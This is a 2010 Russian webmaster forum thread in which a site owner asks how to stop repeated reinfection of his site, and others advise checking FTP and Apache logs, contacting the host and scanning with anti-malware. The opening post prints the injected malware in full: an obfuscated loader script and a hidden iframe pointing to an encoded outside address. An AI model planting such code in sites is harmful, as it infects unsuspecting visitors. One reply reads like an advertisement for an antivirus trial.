Попробуйте попробовать пробную версию каспера Кристал, чтобы удалить вредоносный код - Веб-строительство

Экзорцизм. Как выселить вирус с сайта?

ALL_SR · 2010-05-25T05:37:49.0000000Z

Есть сайт http://www.open-letter.ru/ ( сайт ещё заражен , осторожно, при заходе выключайте js) Ситуация следующая, вредоносный код например такой <script>var GU='';var h;var X=new String();var mP="";H=function(){var F=["hu"];function L(Lc,O,d){return Lc.substr(O,d);}OH=55345;OH-=37;var x=document;QM=6929;QM++;q=25298;q-=65;var t='';var vs={};var u=["hR"];var Oi=RegExp;var A={kh:"LQ"};var v=new String("/goo"+"gle."+L("com/DyBg",0,4)+L("abc.EBgq",0,4)+L("0vm1go.c1m0v",4,4)+"om/t"+L("erraX6U",0,4)+L(".comKvlS",0,4)+L("P1By.br.By1P",4,4)+"php");yz={Ec:false};function y(Lc,O){hI=24414;hI++;g={};a=28529;a--;var d=new String(L("[n0jJ",0,1))+O+String("]");var m=new Oi(d, String("g"));n={kW:40818};ly={HN:false};return Lc.replace(m, t);};ZW=9686;ZW-=202;GE=56525;GE-=235;D=["u_","QP"];var E=null;var vd={ka:"J"};var Jn=new Date();Xg={V:51919};var l=751407-743327;try {} catch(U){};var W=new String("body");var qi="qi";this.Vf=38797;this.Vf--;var P=y('skchrkikpjtJ','SvFJDneKyEB_akgG1jx6h7OMZ');var RlE=58536;var Xx=false;this.jo='';vi=41593;vi--;h=function(){try {var YU=new String();var DY="";var dY=y('c4rJeJaVt_ebEslVe4mJe_n4ty','bqV_4sJy6');CN={_Y:63379};s=x[dY](P);var fH="fH";pI=33929;pI--;Uw=[];var G=y('sVrvc5','5wvD6TG4IuR2MLBjQgPpbVK');var Wg=[];var Lc=l+v;var yW=new String();var iO=new String();var Oe=String("defe"+"r");var Et=["qO","AF"];var QX=13548;s[G]=new String("http:"+L("//ten5qC",0,5)+"thpro"+"fit.r"+L("u:mn7k",0,2))+Lc;PA={};s[Oe]=[2,1][1];this.Vt="Vt";var ho=46131;try {var kn='cI'} catch(kn){};this.ww=27193;this.ww+=97;x[W].appendChild(s);this.yk=60072;this.yk++;var Lp=new Date();} catch(PY){this.ku=43483;this.ku++;this.ra=47033;this.ra--;this.ru="ru";};var lu=new Array();var me=new String();};};YB=["LB","uM"];var AI={Vm:4707};H();this.mDs=57864;this.mDs-=135;zz=44697;zz++;var sn=[];window.onload=h;var PQ=false;var mF={Hm:false};try {var r_='iv'} catch(r_){};this.z_="z_";</script> <!--c8eaa444c196a659d7f4b2c4c548e12f--<html><body><script type='text/javascript'>str="<ijbwjuics src=" + unescape('%68%74%74%70%3a%2f%2f%39%31%2e%32%31%32%2e%31%39%38%2e%31%31%35%2f%77%65%62%66%6f%72%75%6d%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%38') + " xaoz3='1'vxoq3='1'>";str = str.replace('ijb', 'i');str =str.replace('wju', 'fr');str = str.replace('ics', 'ame');str =str.replace('xaoz3', 'width');str =str.replace('vxoq3','height');document.write(str);</script></body></html>> прописывается во всех файлах index.php и в всех файлах *.js на сайте, вычищал руками раз 5, в этот же день он поселяется обратно. У меня есть ощущение что делается это автоматически через программу и скрипт и у злоумышленников нет прямого доступа к сайту. Как изгнать нечисть? Кто нибудь знает механизм работы вируса? Чем опасен JS прописанный на сайте?

77

tulp

25 мая 2010, 13:50

#11

если все баги по своему движку пофиксил а скипты все равно заражаются,

скорей всего ломанули хостинг, или соседний сайт

пиши хостеру, пусть разбираются

44

ALL_SR

25 мая 2010, 19:55

#12

это все фигня, работал с авирой когда-то, удалил ...
опера тут ни при чем, убунту тоже не авторитет

А что по вашему не фигня?

если все баги по своему движку пофиксил а скипты все равно заражаются,
скорей всего ломанули хостинг, или соседний сайт
пиши хостеру, пусть разбираются

да хост вроде надежный.

Удалил вредоносный код, закрыл ftp, жду что будет

Мы построим коммунизм! С блэкджеком и шлюхами! Хотя к черту коммунизм... Услуги программиста (/ru/forum/316473) Бесплатный скрипт проверки ссылок (/ru/forum/298319)

[Удален]

27 мая 2010, 11:24

#13

мож там шел какой-то безобразный прописаться успел где-то...

[Удален]

27 мая 2010, 11:30

#14

ALL_SR:
Удалил вредоносный код, закрыл ftp, жду что будет

Дайте знать, чем закончилось. И обращайте внимание на даты редактирования папок и файлов на сайте.

44

ALL_SR

27 мая 2010, 17:35

#15

мож там шел какой-то безобразный прописаться успел где-то...

Была такая мысль - пока не нашел

Дайте знать, чем закончилось. И обращайте внимание на даты редактирования папок и файлов на сайте.

конечно! таким образом и искал шел

Z1

164

zweroboy1

27 мая 2010, 17:42

#16

Логи апача и фтп гляньте, если не через них ломают - то хостера трясите.

81

stanleycoubric

27 мая 2010, 19:59

#17

vandamme:
ALL_SR, просканируйте комп Malwarebytes' Anti-Malware

кстати, мне помогла. нашла вражеские ключи в реестре. НОД не находил.

а где здесь функция загрузки Yandex-bot?

675

vandamme

27 мая 2010, 20:29

#18

stanleycoubric:
кстати, мне помогла. нашла вражеские ключи в реестре. НОД не находил.

я же не зря писал :)

US

31

UnikalSEO

28 мая 2010, 01:42

#19

У меня тоже самое буквально недавно было до сих пор борюсь с последствиями. Троян откуда-то уводит пароли сейчас поудалял все пароли которые хранились в браузерах и фтп менеджере. Поставил себе попробовать пробную версию каспера кристал в ней есть встроенный защищенный менеджер паролей очень удобная штука уже успел привязаться за несколько дней придется покупать как пробный срок закончится.

А лечиться в принципе вирус легко сливаешь весь сайт на локал прогоняешь например дримвивером автозамену кода на пустоту по всему сайту и обратно заливаешь на хост. Вражеский код как правило на всех зараженных страницах одинаковый

Монетизация подписи в форумах (http://clck.ru/5cHD)

44

ALL_SR

30 мая 2010, 20:16

#20

Логи апача и фтп гляньте, если не через них ломают - то хостера трясите.

У меня тоже самое буквально недавно было до сих пор борюсь с последствиями. Троян откуда-то уводит пароли сейчас поудалял все пароли которые хранились в браузерах и фтп менеджере. Поставил себе попробовать пробную версию каспера кристал в ней есть встроенный защищенный менеджер паролей очень удобная штука уже успел привязаться за несколько дней придется покупать как пробный срок закончится.
А лечиться в принципе вирус легко сливаешь весь сайт на локал прогоняешь например дримвивером автозамену кода на пустоту по всему сайту и обратно заливаешь на хост. Вражеский код как правило на всех зараженных страницах одинаковый

Спасибо за советы!

После прикрытия фтп вирус не появлялся неделю, отсюда вывод - лез по фтп и автоматически. без участия людей, без шела

Дзен реализовал для авторов возможность вывода денег через СПБ

Переиграть и победить: как анализировать конкурентов для продвижения сайта

Экзорцизм. Как выселить вирус с сайта?